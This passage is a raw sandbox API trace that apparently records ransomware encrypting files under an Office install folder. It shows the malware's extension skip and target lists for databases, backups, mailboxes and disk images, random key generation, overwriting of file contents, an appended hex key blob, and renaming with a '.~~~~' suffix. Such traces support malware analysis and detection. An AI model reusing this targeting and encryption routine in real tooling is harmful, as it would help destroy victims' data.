	[0079.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".TXT") returned 0x0
	[0079.394] lstrlenW (lpString=".MDF") returned 4
	[0079.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".MDF") returned 0x0
	[0079.394] lstrlenW (lpString=".bdb") returned 4
	[0079.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".bdb") returned 0x0
	[0079.394] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0079.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.394] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0079.395] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.395] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0079.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0079.395] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19938528939) returned 1
	[0079.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x992e33b0, dwHighDateTime=0x1d60e1e)) 
	[0079.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0079.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0079.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0079.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b6e8
	[0079.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b6e8 | out: hHeap=0x300000) returned 1
	[0079.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6fe8
	[0079.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb1a8
	[0079.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.396] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0079.396] GetLastError () returned 0x0
	[0079.396] GetLastError () returned 0x0
	[0079.397] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0079.397] GetLastError () returned 0x0
	[0079.397] GetLastError () returned 0x0
	[0079.397] ReadFile (in: hFile=0x118, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0xd9c0, lpOverlapped=0x0) returned 1
	[0079.438] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff2640, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.438] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xd9c0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0xd9c0, lpOverlapped=0x0) returned 1
	[0079.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.438] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.438] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.438] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.438] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.438] CloseHandle (hObject=0x118) returned 1
	[0079.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.459] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.~~~~")) returned 1
	[0079.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0079.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0079.460] GetLastError () returned 0x0
	[0079.460] RtlWakeConditionVariable () returned 0x365f70
	[0079.460] GetCurrentThreadId () returned 0xaf0
	[0079.460] GetCurrentThreadId () returned 0xaf0
	[0079.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb408 | out: hHeap=0x300000) returned 1
	[0079.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b790 | out: hHeap=0x300000) returned 1
	[0079.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb408
	[0079.460] lstrlenW (lpString=".scr") returned 4
	[0079.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".scr") returned 0x0
	[0079.460] lstrlenW (lpString=".cmd") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".cmd") returned 0x0
	[0079.461] lstrlenW (lpString=".dll") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".dll") returned 0x0
	[0079.461] lstrlenW (lpString=".bat") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".bat") returned 0x0
	[0079.461] lstrlenW (lpString=".cpl") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".cpl") returned 0x0
	[0079.461] lstrlenW (lpString=".sys") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".sys") returned 0x0
	[0079.461] lstrlenW (lpString=".msc") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".msc") returned 0x0
	[0079.461] lstrlenW (lpString=".com") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".com") returned 0x0
	[0079.461] lstrlenW (lpString=".lnk") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".lnk") returned 0x0
	[0079.461] lstrlenW (lpString=".msp") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".msp") returned 0x0
	[0079.461] lstrlenW (lpString=".pif") returned 4
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".pif") returned 0x0
	[0079.461] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0079.462] lstrlenW (lpString=".sqb") returned 4
	[0079.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".sqb") returned 0x0
	[0079.462] lstrlenW (lpString=".ost") returned 4
	[0079.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".ost") returned 0x0
	[0079.462] lstrlenW (lpString=".txt") returned 4
	[0079.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".txt") returned 0x0
	[0079.462] lstrlenW (lpString=".mdt") returned 4
	[0079.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".mdt") returned 0x0
	[0079.462] lstrlenW (lpString=".BDB") returned 4
	[0079.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".BDB") returned 0x0
	[0079.462] lstrlenW (lpString=".eql") returned 4
	[0079.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".eql") returned 0x0
	[0079.462] lstrlenW (lpString=".DBF") returned 4
	[0079.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DBF") returned 0x0
	[0079.462] lstrlenW (lpString=".EQL") returned 4
	[0079.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".EQL") returned 0x0
	[0079.462] lstrlenW (lpString=".FDB") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".FDB") returned 0x0
	[0079.463] lstrlenW (lpString=".EDB") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".EDB") returned 0x0
	[0079.463] lstrlenW (lpString=".DACPAC") returned 7
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.463] lstrlenW (lpString=".VHD") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".VHD") returned 0x0
	[0079.463] lstrlenW (lpString=".DBV") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DBV") returned 0x0
	[0079.463] lstrlenW (lpString=".dacpac") returned 7
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".dacpac") returned 0x0
	[0079.463] lstrlenW (lpString=".sdf") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".sdf") returned 0x0
	[0079.463] lstrlenW (lpString=".accdb") returned 6
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".accdb") returned 0x0
	[0079.463] lstrlenW (lpString=".DBX") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DBX") returned 0x0
	[0079.463] lstrlenW (lpString=".MDT") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".MDT") returned 0x0
	[0079.463] lstrlenW (lpString=".SQB") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".SQB") returned 0x0
	[0079.463] lstrlenW (lpString=".vhd") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".vhd") returned 0x0
	[0079.463] lstrlenW (lpString=".bac") returned 4
	[0079.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".bac") returned 0x0
	[0079.463] lstrlenW (lpString=".mdf") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".mdf") returned 0x0
	[0079.464] lstrlenW (lpString=".BAK") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".BAK") returned 0x0
	[0079.464] lstrlenW (lpString=".BAC") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".BAC") returned 0x0
	[0079.464] lstrlenW (lpString=".dbs") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".dbs") returned 0x0
	[0079.464] lstrlenW (lpString=".vhdx") returned 5
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".vhdx") returned 0x0
	[0079.464] lstrlenW (lpString=".NDF") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".NDF") returned 0x0
	[0079.464] lstrlenW (lpString=".dat") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".dat") returned 0x0
	[0079.464] lstrlenW (lpString=".DBS") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DBS") returned 0x0
	[0079.464] lstrlenW (lpString=".CKP") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".CKP") returned 0x0
	[0079.464] lstrlenW (lpString=".edb") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".edb") returned 0x0
	[0079.464] lstrlenW (lpString=".PST") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".PST") returned 0x0
	[0079.464] lstrlenW (lpString=".dbf") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".dbf") returned 0x0
	[0079.464] lstrlenW (lpString=".SQL") returned 4
	[0079.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".SQL") returned 0x0
	[0079.464] lstrlenW (lpString=".pst") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".pst") returned 0x0
	[0079.465] lstrlenW (lpString=".dbv") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".dbv") returned 0x0
	[0079.465] lstrlenW (lpString=".SDF") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".SDF") returned 0x0
	[0079.465] lstrlenW (lpString=".dtxs") returned 5
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".dtxs") returned 0x0
	[0079.465] lstrlenW (lpString=".db3") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".db3") returned 0x0
	[0079.465] lstrlenW (lpString=".OST") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".OST") returned 0x0
	[0079.465] lstrlenW (lpString=".dbx") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".dbx") returned 0x0
	[0079.465] lstrlenW (lpString=".DB3") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DB3") returned 0x0
	[0079.465] lstrlenW (lpString=".DAT") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DAT") returned 0x0
	[0079.465] lstrlenW (lpString=".VHDX") returned 5
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".VHDX") returned 0x0
	[0079.465] lstrlenW (lpString=".ndf") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".ndf") returned 0x0
	[0079.465] lstrlenW (lpString=".DB") returned 3
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DB") returned 0x0
	[0079.465] lstrlenW (lpString=".sql") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".sql") returned 0x0
	[0079.465] lstrlenW (lpString=".MYD") returned 4
	[0079.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".MYD") returned 0x0
	[0079.466] lstrlenW (lpString=".DBT") returned 4
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DBT") returned 0x0
	[0079.466] lstrlenW (lpString=".ACCDB") returned 6
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.466] lstrlenW (lpString=".fdb") returned 4
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".fdb") returned 0x0
	[0079.466] lstrlenW (lpString=".bak") returned 4
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".bak") returned 0x0
	[0079.466] lstrlenW (lpString=".myd") returned 4
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".myd") returned 0x0
	[0079.466] lstrlenW (lpString=".DTXS") returned 5
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".DTXS") returned 0x0
	[0079.466] lstrlenW (lpString=".ckp") returned 4
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".ckp") returned 0x0
	[0079.466] lstrlenW (lpString=".dbt") returned 4
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".dbt") returned 0x0
	[0079.466] lstrlenW (lpString=".db") returned 3
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".db") returned 0x0
	[0079.466] lstrlenW (lpString=".TXT") returned 4
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".TXT") returned 0x0
	[0079.466] lstrlenW (lpString=".MDF") returned 4
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".MDF") returned 0x0
	[0079.466] lstrlenW (lpString=".bdb") returned 4
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".bdb") returned 0x0
	[0079.466] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0079.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.467] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0079.513] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.514] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0079.514] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19950378877) returned 1
	[0079.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x99413eb0, dwHighDateTime=0x1d60e1e)) 
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9ad0
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ad0 | out: hHeap=0x300000) returned 1
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0079.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0079.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0079.514] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0079.514] GetLastError () returned 0x0
	[0079.514] GetLastError () returned 0x0
	[0079.514] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0079.515] GetLastError () returned 0x0
	[0079.515] GetLastError () returned 0x0
	[0079.515] ReadFile (in: hFile=0x134, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
